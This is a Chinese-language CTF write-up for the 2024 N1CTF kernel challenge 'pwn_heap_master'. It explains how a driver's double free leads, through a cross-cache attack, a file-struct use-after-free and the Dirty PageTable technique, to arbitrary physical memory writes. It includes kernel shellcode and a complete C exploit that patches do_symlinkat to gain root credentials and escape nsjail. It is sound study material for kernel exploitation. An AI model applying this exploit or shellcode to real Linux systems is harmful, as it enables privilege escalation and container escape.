Dirty PageTable 2024 N1CTF pwn_heap_master

文章发布时间:

最后更新时间:

页面浏览: 加载中...

2024 N1CTF pwn_heap_master

前置

对cross-cache attack有基本了解

本文很多是参考这两位师傅的文章(bsauce&henry),但有些地方会做更详细的介绍

同时本文直接将dirtypagetable具体手法细节与题目结合起来讲

本人是赛棍,正式学习内核没多久,有错误的地方希望师傅提出建议

关于Dirty PageTable

通过目标存在的double-free/OOB/uaf漏洞转化为对用户页表pte的控制,结合用户态程序可以实现任意物理地址写和读,由于是data-only的手法,可以绕过现有的基本保护和实现逃逸,且正常情况下成功率极高。

分析题目

题目配置

题目链接pwn_heap_master

题目的内核版本是6.1.110,算是较高的版本了

image-20241117163555128

同时该题目在启动内核后,运行根目录startjail,进入nsjail,因此该题目的目标是实现nsjail逃逸,而且会加载在/etc/nsjail/nsjail.conf的配置文件

1
2
3
4
5
#!/bin/sh
ulimit -Hn 33000

/bin/nsjail --config /etc/nsjail/nsjail.conf
echo "Bye"

对于配置文件重点关注挂载了什么,以及禁用了哪些系统调用

可以明显看见挂载了/dev/safenote以及/dev/dma_heap,通过挂载了/dev/dma_heap已经明显告诉你本题可以用dirty pagetable的手法,而且拿着dma_heap这个显眼的东西去bing查找大概率会查到dirty pagetable相关的文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
mount: [
{
src: "/bin"
dst: "/bin"
is_bind: true
nosuid: true
rw: false
},
{
src: "/dev/dma_heap"
dst: "/dev/dma_heap"
is_bind: true
nosuid: true
rw: true
},
{
src: "/dev/safenote"
dst: "/dev/safenote"
is_bind: true
nosuid: true
rw: true
},
{
src: "/dev/null"
dst: "/dev/null"
is_bind: true
nosuid: true
rw: true
},
{
src: "/dev/zero"
dst: "/dev/zero"
is_bind: true
nosuid: true
rw: true
},
{
src: "/dev/random"
dst: "/dev/random"
is_bind: true
nosuid: true
rw: true
},
{
src: "/dev/urandom"
dst: "/dev/urandom"
is_bind: true
nosuid: true
rw: true
},
{
dst: "tmp"
fstype: "tmpfs"
rw: true
},
{
dst: "/proc"
fstype: "proc"
rw: true
},
]

对于禁用的了系统调用,平时内核题所用的系统调用基本被禁用了,什么msg_msg,keyctl,等等都不能用了,pipe倒是还能用。

由于启用了nsjail,可以在nsjail.conf文件的mount部分添加一条这个方便把exp导入nsjail中

1
2
3
4
5
6
7
{
src: "/exp"
dst: "/exp"
is_bind: true
nosuid: true
rw: true
}
目标驱动

在初始化驱动时,会创建一个名为safenote大小为192独立kmem_cache,且flags: 0x4052000 (SLAB_ACCOUNT | SLAB_PANIC | SLAB_STORE_USER | SLAB_HWCACHE_ALIGN)存在SLAB_ACCOUNT因此不会和原有的kmem_cache合并。

在创建成功后还进行了一波神秘的操作,其具体功能后面再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl safenote_init()
{
int v0; // r12d
__int64 v1; // rax
unsigned int v2; // esi

_fentry__();
v0 = misc_register(&safenote_device);
if ( v0 )
{
printk(&unk_2B1);
}
else
{
v1 = kmem_cache_create("safenote", 192LL, 0LL, 0x4052000LL, 0LL);
note_kcache = (kmem_cache *)v1;
if ( v1 )
{
v2 = *(unsigned __int16 *)(v1 + 52);
*(_DWORD *)(v1 + 44) = 52;
*(_DWORD *)(v1 + 48) = (v2 + 103) / v2;
}
else
{
v0 = -12;
printk(&unk_308);
}
}
return v0;
}

然后是分析基本操作,本题只有ioctl有可用的操作

ioctl维护着一个堆指针的表

功能一:能够从safenote上面申请一个chunk,且保存在用户指定idx对应表里,最多可以同时申请0x100个

功能二:能够释放用户指定idx对应表里的地址,且清空地址

功能三:能够有一次机会释放用户指定idx对应表里的地址,但不清空地址

很明显的double free+cross-cache attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall safenote_ioctl(file *f, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rdx
__int64 result; // rax
u_int32_t heap_idx; // edx

_fentry__();
if ( copy_from_user(&ioc_arg, v3, 4LL) )
return -14LL;
if ( cmd == 4920 )
{
if ( ioc_arg.heap_idx <= 0xFF )
{
if ( !note[ioc_arg.heap_idx] )
return 0LL;
kfree();
note[ioc_arg.heap_idx] = 0LL;
return 0LL;
}
return -22LL;
}
if ( cmd == 4921 )
{
if ( !backdoor_used && ioc_arg.heap_idx <= 0xFF )
{
if ( !note[ioc_arg.heap_idx] )
return 0LL;
kfree();
result = 0LL;
backdoor_used = 1;
return result;
}
return -22LL;
}
result = -22LL;
if ( cmd == 4919 )
{
heap_idx = ioc_arg.heap_idx;
if ( ioc_arg.heap_idx <= 0xFF && !note[ioc_arg.heap_idx] )
{
note[heap_idx] = (char *)kmem_cache_alloc(note_kcache, 0x400CC0LL);
if ( note[ioc_arg.heap_idx] )
return 0LL;
return -12LL;
}
}
return result;
}
神秘操作

可以从代码很明显的看出是对kmem_cache对应结构体作出了一些修改,我们可以直接利用cat /proc/slabinfo查看safenote和正常的kmalloc-192有什么区别

或者用gef-kernel里面所带的指令slub-dump来查看

gef-kernel非常建议使用,不像pwndbg的slab指令没有完整的symbols就不能使用,gef-kernel应该是使用了搜索内存的方式直接dump出来,非常方便,除此之外还有很多好用的指令,比如p2v,v2p实现虚拟地址和物理地址的转化,在这题就非常好用

可以从图中看出safenotechunk大小是0x100,而正常kmalloc-192chunk大小是0xc0,所以可以确定神秘操作在干啥了

image-20241117173322160

而将0xc0改成0x100有什么用呢,这里就是进一步告诉你使用file UAF,因为对于file结构体大小,申请的chunk大小也是0x100,利用上面的double-free可以很容易的实现file UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct file {
union {
struct llist_node f_llist; /* 0 8 */
struct callback_head f_rcuhead; /* 0 16 */
unsigned int f_iocb_flags; /* 0 4 */
}; /* 0 16 */
struct path f_path; /* 16 16 */
struct inode * f_inode; /* 32 8 */
const struct file_operations * f_op; /* 40 8 */
spinlock_t f_lock; /* 48 4 */

/* XXX 4 bytes hole, try to pack */

atomic_long_t f_count; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
unsigned int f_flags; /* 64 4 */
fmode_t f_mode; /* 68 4 */
struct mutex f_pos_lock; /* 72 32 */
loff_t f_pos; /* 104 8 */
struct fown_struct f_owner; /* 112 32 */
/* --- cacheline 2 boundary (128 bytes) was 16 bytes ago --- */
const struct cred * f_cred; /* 144 8 */
struct file_ra_state f_ra; /* 152 32 */
u64 f_version; /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void * f_security; /* 192 8 */
void * private_data; /* 200 8 */
struct hlist_head * f_ep; /* 208 8 */
struct address_space * f_mapping; /* 216 8 */
errseq_t f_wb_err; /* 224 4 */
errseq_t f_sb_err; /* 228 4 */

/* size: 232, cachelines: 4, members: 20 */
/* sum members: 228, holes: 1, sum holes: 4 */
/* last cacheline: 40 bytes */
};

漏洞利用

对于file UAF,很容易就能想到dirty cred来实现仅可读文件覆写,但是一方面对于该题的linux版本dirty cred能否还可以使用存在疑问,另一方面要实现逃逸只能去修改主机挂载过来的/bin文件夹(可能/proc下也有能用的),然后修改退出时执行的echo,可问题在于退出nsjail时,需要先退出exp,如果使用file UAF后退出时资源释放很大概率是会导致崩溃的

所以使用cross-cache attack+dirty pagetable来实现漏洞利用

第一步

实现file UAF

如果明白cross-cache attack这一步较为简单,首先是使用safenote直接kmalloc满0x100个chunk,然后全部free,留下一个用于double-free,根据chunk大小为0x100,一个page可以有16个chunk,safenote每次是申请一个slab都是一个page,0x100个chunk就是16个slab,同时该题最大留存的slab数量是4(神秘操作里有个除2操作,应该就是用于减小最大留存的slab数量,提高利用成功率),如果0x100个chunk全部释放则有12个slab会被释放,即有12个page被释放回buddy system

然后就是一次性打开大量的同一个任意文件,喷射file结构体,使得之前释放的page立马被再次拿来使用,而且buddy system也是遵循FILO,所以极高概率是申请回之前释放的page。

喷射完毕后我们使用safenote的free函数,free掉刚才保留的指针,此时有一个file struct被释放了。

接下来就是确定哪一个fd对应的file结构体被释放了,可以再次喷射大量的另一个文件的file struct,使得之前被释放的file struct被占用,现在循环read之前喷射的fd,如果有不一样的,则是victim fd。

第二步

现在将除了victim fd以外的fd全部close,由于有两个fd指向了同一个file struct,则不需要close victim fd,刚才kmalloc大量的file struct,全部file stuct释放后,大部分的slab对应的page又会回到buddy system中

接下来就要讲关于dirty pagetable的东西了

众所周知,每一个用户态进程都有一个对应的页表,通常64位的linux使用的是4级页表

对应下图从PGD到PUD到PMD再到PTE,PTE就是指向具体物理地址的信息了

对于每一个页表或者页表目录都是1page大小,即4096byte,每个页表项都是占8字节,则每个page有512个页表项

而对于一个用户态程序,可以看见有许多没有对应的物理地址的虚拟地址,这些虚拟地址我们可以使用mmap函数来映射对应的物理地址,在这些虚拟地址没被映射之前,其对应的页表目录是没有被创建的,显然不可能都创建的如果每个程序都将其的页表目录全部创建,那得占用很大一部分空间。

如果我们主动去mmap大量的地址则会有大量的1page从buddysystem中被申请出来,用于创建页表

需要注意mmap可以放在exp开始时直接执行,因为只有第一次读写对应mmap地址时,才会触发缺页然后映射对应的物理地址以及可能创建对应的页表项

我们回到上面free掉所有的file struct,则会有大量的1page回到buddysystem中,然后去mmap大量的地址,这些1page又被拉回来使用,而其中有一部分地方是我们的uaf的file struct对应的地方。

在内存中你会发现victim fd对应file struct的内容都是pte

里面最高位的8还有最低的3位867,应该都是一些标志位,去掉这些才是真正的物理地址

image-20241117194018457

第三步

在此之前我们需要说一个file struct里的count成员(距离file struct开始地址0x38),他是用来表示当前有多少个引用指向该file结构体

如果用dup函数来复制victim fd,则会使得count+1,且即便file结构体内容不正常也能正常+1而不崩溃

如果dup,0x1000次则会使得pte对应的物理地址往下增加0x1000

真是佩服能找到这样一个功能适配dirty pagetable

但也很容易被修复,如果dup添加一个file struct 完整性验证,这个方法直接不能用了

而且每个用户态dup次数有限,可通过fork解决

当我们dup,0x1000次后,再次循环遍历之前mmap的地址,如果找到有一个和他本身应该对应的idx不一样的,则是victim page。

第四步

仅用dup也只能增加物理地址,似乎没啥用,有什么办法可以实现控制页表项呢

可能会想到继续dup,增加物理地址,直到找到包含页表项到page,实则目前是没法实现的

其实你会注意到一个问题,第二步,创建页表目录后,还有一个个page大小的映射被创建,相对于这一个个page大小的大量映射,之前file struct全部free释放的page似乎是非常少的不够用的,按理来说file struct里被写入pte成功率很低,但是第二步成功率非常高,则就说明了mmap映射的物理地址,和alloc页表目录对应的物理地址应该是来自不同区块的。同时mmap映射的物理地址比alloc页表目录对应的物理地址高。

匿名 mmap() 分配的物理页来自内存区的MIGRATE_MOVABLE free_area,而用户页表是从内存区的MIGRATE_UNMOVABLE free_area分配,所以很难通过递增PTE使之指向另一用户页表

由于内核空间和用户空间需要一些共享物理页,使得两个空间都能访问到,比如dma-heap,io_uring,GPUs

所以这里又要介绍另一个东西dma-heap,也是题目中nsjail挂载进来的/dev/dma-heap

我们可以通过打开/dev/dma-heap/system进行ioctl,分配一定大小的内存,该内存会在MIGRATE_UNMOVABLE free_area分配,而且该内存可以通过mmap映射到用户态空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
struct dma_heap_allocation_data {
ull len;
unsigned int fd;
unsigned int fd_flags;
ull heap_flags;
};
dma_heap_fd = open("/dev/dma_heap/system", O_RDONLY);
if (dma_heap_fd < 0) err_msg("Fail open dma_heap");
......
struct dma_heap_allocation_data data;

data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;

if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
perror("DMA_HEAP_IOCTL_ALLOC");
return -1;
}
int dma_buf_fd = data.fd;

因此我们可以将页表目录的喷射改为,先喷射一半,然后进行dma-heap,再将另一半进行喷射

继续按之前的步骤,我们把victim page 先munmap,然后将dma-heap创建的地址mmap到victim page上面

记得读写,使得dma-heap对应的页创建

pic21_remap_sharing_page

接下来再次进行多次dup,0x1000次,总有一次会使得victim page中对应的内容是pte

成功使得victim page里的内容是pte后,就可以开始尝试任意物理地址写读了吗?

该题目最终目的是实现逃逸,最好的想法就是patch内核的某个函数用户态触发执行实现逃逸,但是在开启aslr后物理地址里保存的text段的起始物理地址也是随机的

典中典类似page_offset_base+0x9d000保存着text地址,而page_offset_base+0x9c000(因为是直接映射区,对应的是物理地址的0x9c000)保存着物理地址的text地址

感觉既然都可以任意地址读,那也应该可以实现直接从0物理地址开始扫描,直到找到需要的物理地址吧?

接下来就是往victim page[0]写入0x9c000,然后去泄露物理地址的text地址,同时需要注意我们不知道是哪个mmap的地址的物理地址被改写为了0x9c000,所以还要再次进行搜索,得到victim page2

image-20241117211144414

第五步

接下来直接模仿henry师傅文章里patch do_symlinkat函数

需要注意关闭kaslr时,0x9c000里保存的物理地址和物理地址的text基地址偏移量,与开启kaslr时不同,所以建议关闭kaslr时物理地址的text基地址直接使用0x1000000,测试成功后在开启kaslr然后调整

接下来就是将shellcode写入do_symlinkat起始地址

下面是汇编代码,也是直接拿henry师傅文章里的,然后通过nasm 来编译成elf文件,把shellcode提取出来即可

里面的各个函数偏移,还有sub r15,xxxxx的,还有current->fs的偏移需要我们修改

简单解释一下,call a使得当前do_symlinkat的地址被写到栈上,然后pop 给r15,计算text基地址,接下来就是修改当前的进程的cred,nsproxy,fs

shellcode的fs替换是直接通过与指向task_struct偏移量来进行替换的,由于各个版本的fs_struct与task_struct的偏移量不同,所以需要特地计算

这边给出一个比较简单的方法,就是我们可以给进程取个名字,然后名字会保存在task_struct的成员comm里面,而通常comm成员与fs成员偏移量不变,可以先搜索comm里你指定的字符串,然后借此来计算得到fs与task_struct的偏移量

image-20241117210443336

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
init_cred equ 0x2a76b00
commit_creds equ 0x1c2670
find_task_by_vpid equ 0x1b8fa0
init_nsproxy equ 0x2a768c0
switch_task_namespaces equ 0x1c0ad0
init_fs equ 0x2bb5320
copy_fs_struct equ 0x45c0f0
swapgs_restore_regs_and_return_to_usermode equ 0x14011c6

_start:
endbr64
call a
a:
pop r15
sub r15, 0x42cc49

; commit_creds(init_cred) [3]
lea rdi, [r15 + init_cred]
lea rax, [r15 + commit_creds]
call rax

; task = find_task_by_vpid(1) [4]
mov edi, 1
lea rax, [r15 + find_task_by_vpid]
call rax

; switch_task_namespaces(task, init_nsproxy) [5]
mov rdi, rax
lea rsi, [r15 + init_nsproxy]
lea rax, [r15 + switch_task_namespaces]
call rax

; new_fs = copy_fs_struct(init_fs) [6]
lea rdi, [r15 + init_fs]
lea rax, [r15 + copy_fs_struct]
call rax
mov rbx, rax

; current = find_task_by_vpid(getpid())
mov rdi, 0x1111111111111111 ; will be fixed at runtime
lea rax, [r15 + find_task_by_vpid]
call rax

; current->fs = new_fs [8]
mov [rax + 0x828], rbx

; kpti trampoline [9]
xor eax, eax
mov [rsp+0x00], rax
mov [rsp+0x08], rax
mov rax, 0x2222222222222222 ; win
mov [rsp+0x10], rax
mov rax, 0x3333333333333333 ; cs
mov [rsp+0x18], rax
mov rax, 0x4444444444444444 ; rflags
mov [rsp+0x20], rax
mov rax, 0x5555555555555555 ; stack
mov [rsp+0x28], rax
mov rax, 0x6666666666666666 ; ss
mov [rsp+0x30], rax
lea rax, [r15 + swapgs_restore_regs_and_return_to_usermode]
jmp rax

int3

然后在exp写入内存之前记得将shellcode的一些量比如0x1111111111111111替换为执行需要的值

接下来就是执行symlink触发shellcode,由于题目启动时使用的是将flag文件挂载为虚拟机的virtio类型的虚拟驱动器,shellcode执行成功后接下来就是读取/dev/vda文件获取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
#define _GNU_SOURCE
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/ioctl.h>
#include<sched.h>
#include <sys/socket.h>
#include<sys/mman.h>
#include <sys/prctl.h>
#define SOCKET_NUM 8
#define SK_BUFF_NUM 128
#define ull unsigned long long
#define TEXT_MASK 0xffffffff00000000
#define CHUNK_MASK 0xffff000000000000
#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
ull user_cs, user_ss, user_sp, user_rflags;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] save success");
}
void bind_cpu(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
puts("[*] bind core success");
}
void open_flag(){
puts("[*] Ready to get root......");
if(getuid()){
puts("[*] Failed to get root!");
}
puts("[*] Root got!");
int fd_flag = open("/flag", 0);
char flag[100];
read(fd_flag, flag, 100);
puts(flag);
system("/bin/sh");
exit(0);
}
ull dump_mem(void *data, int begin, int len, int get){
if (len) printf("%d: ", begin/4);
for (size_t i = begin; i < len; i++)
{
printf("%016llx ", ((ull*)data)[i]);
if ((i+1) % 4 == 0) printf("\n%d: ", (i+1)/4);
}
if (len) printf("\n");
return ((ull*)(data))[get];
}
int fd;
struct ioc_arg
{
int idx;
} add_arg;

void k_add(int idx) {
add_arg.idx = idx;
ioctl(fd, 0x1337, &add_arg);
}
void k_free(int idx) {
add_arg.idx = idx;
ioctl(fd, 0x1338, &add_arg);
}
void k_backdoor(int idx) {
add_arg.idx = idx;
ioctl(fd, 0x1339, &add_arg);
}
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct dma_heap_allocation_data {
ull len;
unsigned int fd;
unsigned int fd_flags;
ull heap_flags;
};
char buffer[0x2000];
#define SPRAY_PIPE_NUM 0xd0
#define SPRAY_FILE_NUM 0x100
#define SPRAY_PGTABLE_NUM 0x800
int pipe_fd[SPRAY_PIPE_NUM][2];
int file_fd[SPRAY_FILE_NUM];
int tmp_file_fd[SPRAY_FILE_NUM];
ull* spray_page[SPRAY_PGTABLE_NUM];
ull* victim_page = (ull*)-1;
int dma_heap_fd;
int victim_idx = -1;
ull kbase;
struct pipe_buffer info_pipe_buffer;
static void win() {
char buf[0x100];
int fd = open("/dev/vda", O_RDONLY);
if (fd < 0) {
puts("[-] Lose...");
} else {
puts("[+] Win!");
read(fd, buf, 0x100);
write(1, buf, 0x100);
puts("[+] Done");
pause();
}
exit(0);
}
void main() {
save_status();
bind_cpu(0);
fd = open("/dev/safenote", 2);
if(fd == -1)
puts("[x] Error opening /dev/safenote");
ull *rop = (ull*)buffer;
for(int i = 0; i < SPRAY_PIPE_NUM; i++){
if(pipe(pipe_fd[i]) < 0)
puts("[x] Error pipe");
}

puts("[*] step0 init mmap and dma-heap");
dma_heap_fd = open("/dev/dma_heap/system", O_RDONLY);
if (dma_heap_fd < 0) puts("Fail open dma_heap");
for (int i = 0; i < SPRAY_PGTABLE_NUM; i++){
spray_page[i] = (ull*)mmap((void *)(0xdead0000UL + i*(0x10000UL)),
0x8000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (spray_page[i] == MAP_FAILED) puts("fail to mmap space");
}

puts("[*] step1 spray chunk and free");
for(int i = 0; i < 0xff; i++){
k_add(i);
}
int free_idx = 0x80;
for(int i = 0; i < 0xff; i++){
if(i == free_idx){
k_backdoor(i);
continue;
}
k_free(i);
}

puts("[*] step2 spray file struct and find victim file");
for(int i = 0; i < SPRAY_FILE_NUM; i++){
file_fd[i] = open("/", O_RDONLY);
if(file_fd[i] == -1)
puts("[x] Error open file");
}
k_free(free_idx);
for(int i = 0; i < SPRAY_FILE_NUM; i++){
tmp_file_fd[i] = open("/bin/busybox", O_RDONLY);
if(tmp_file_fd[i] == -1)
puts("[x] Error open tmp file");
}
for(int i = 0; i < SPRAY_FILE_NUM; i++){
int tmp_int = read(file_fd[i], buffer, 0x100);
if(tmp_int != -1){
victim_idx = i;
printf("[+] Found victim idx: %d\n", i);
break;
}
}
puts("[*] step3 free all file and spray pagetable, dma-heap");
for(int i = 0; i < SPRAY_FILE_NUM; i++){
close(tmp_file_fd[i]);
}
for(int i = 0; i < SPRAY_FILE_NUM; i++){
if(victim_idx == i) continue;
close(file_fd[i]);
}

for(int i = 0; i < SPRAY_PGTABLE_NUM/2; i++){
for(int j = 0; j < 8; j++){
spray_page[i][j*0x1000/8] = i+j;
}
}
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;

if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
puts("[x] DMA_HEAP_IOCTL_ALLOC");
}
int dma_buf_fd = data.fd;

for(int i = SPRAY_PGTABLE_NUM/2; i < SPRAY_PGTABLE_NUM; i++){
for(int j = 0; j < 8; j++){
spray_page[i][j*0x1000/8] = i+j;
}
}
getchar();
puts("[*] step4 dup fd and find victim page");
for(int i = 0; i< 0x1000; i++){
dup(file_fd[victim_idx]);
}
for(int i = 0; i < SPRAY_PGTABLE_NUM/2; i++){
for(int j = 0; j < 8; j++){

if(spray_page[i][j*0x1000/8] != (ull)(i+j)){
victim_page = &spray_page[i][j*0x1000/8];
printf("[+] Found victim page %llx\n", victim_page);
break;
}
}
if(victim_page != (ull*)-1)
break;
}
getchar();

puts("[*] step5 munmap victim page and dma-heap mmap victim page addr");
munmap(victim_page, 0x1000);
ull* dmabuf = mmap((void *)victim_page, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED, dma_buf_fd, 0);
dmabuf[0] = 0x114514;
for(;;){
for(int i = 0; i< 0x1000; i++){
dup(file_fd[victim_idx]);
}
if((victim_page[0] & 0xfff) == 0x867){
puts("[+] success control pagetable");
break;
}
}
puts("[*] step6 search victim page and leak kbase");
dmabuf[0] = 0x800000000009c867;
victim_page = (ull*)-1;
for(int i = SPRAY_PGTABLE_NUM/2; i < SPRAY_PGTABLE_NUM; i++){
for(int j = 0; j < 8; j++){
if((spray_page[i][j*0x1000/8] & 0xff00) == 0x4000){
victim_page = &spray_page[i][j*0x1000/8];
printf("[+] Found victim page %llx\n", victim_page);
kbase = (spray_page[i][j*0x1000/8] & ~0xff) - 0x3a04000;
printf("[+] get kbase %llx\n", kbase);
break;
}
}
if(victim_page != (ull*)-1)
break;
}
puts("[*] step7 arbitraty write and read");
ull link_addr = 0x42cc40 + kbase;
dmabuf[0] = 0x8000000000000867 | (link_addr & ~0xfff);
char shellcode[] = {0xf3,0x0f,0x1e,0xfa,0xe8,0x00,0x00,0x00,0x00,0x41,0x5f,0x49,0x81,0xef,
0x49,0xcc,0x42,0x00,0x49,0x8d,0xbf,0x00,0x6b,0xa7,0x02,0x49,0x8d,0x87,
0x70,0x26,0x1c,0x00,0xff,0xd0,0xbf,0x01,0x00,0x00,0x00,0x49,0x8d,0x87,
0xa0,0x8f,0x1b,0x00,0xff,0xd0,0x48,0x89,0xc7,0x49,0x8d,0xb7,0xc0,0x68,
0xa7,0x02,0x49,0x8d,0x87,0xd0,0x0a,0x1c,0x00,0xff,0xd0,0x49,0x8d,0xbf,
0x20,0x53,0xbb,0x02,0x49,0x8d,0x87,0xf0,0xc0,0x45,0x00,0xff,0xd0,0x48,
0x89,0xc3,0x48,0xbf,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x49,0x8d,
0x87,0xa0,0x8f,0x1b,0x00,0xff,0xd0,0x48,0x89,0x98,0x28,0x08,0x00,0x00,
0x31,0xc0,0x48,0x89,0x04,0x24,0x48,0x89,0x44,0x24,0x08,0x48,0xb8,0x22,
0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x48,0x89,0x44,0x24,0x10,0x48,0xb8,
0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x48,0x89,0x44,0x24,0x18,0x48,
0xb8,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x48,0x89,0x44,0x24,0x20,
0x48,0xb8,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x48,0x89,0x44,0x24,
0x28,0x48,0xb8,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x48,0x89,0x44,
0x24,0x30,0x49,0x8d,0x87,0xc6,0x11,0x40,0x01,0xff,0xe0,0xcc};
ull* p;
p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
p[0] = getpid();
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
p[0] = (ull)&win;
p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
p[0] = user_cs;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
p[0] = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
p[0] = user_sp;
p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
p[0] = user_ss;
memcpy(victim_page+(link_addr & 0xfff)/8, shellcode, sizeof(shellcode));
if (prctl(PR_SET_NAME, "WHAT_CAN_I_SAY!", 0, 0, 0) != 0) {
puts("[x] prctl error");
}
printf("%d\n", symlink("/exp", "/tmp/exp"));
getchar();

}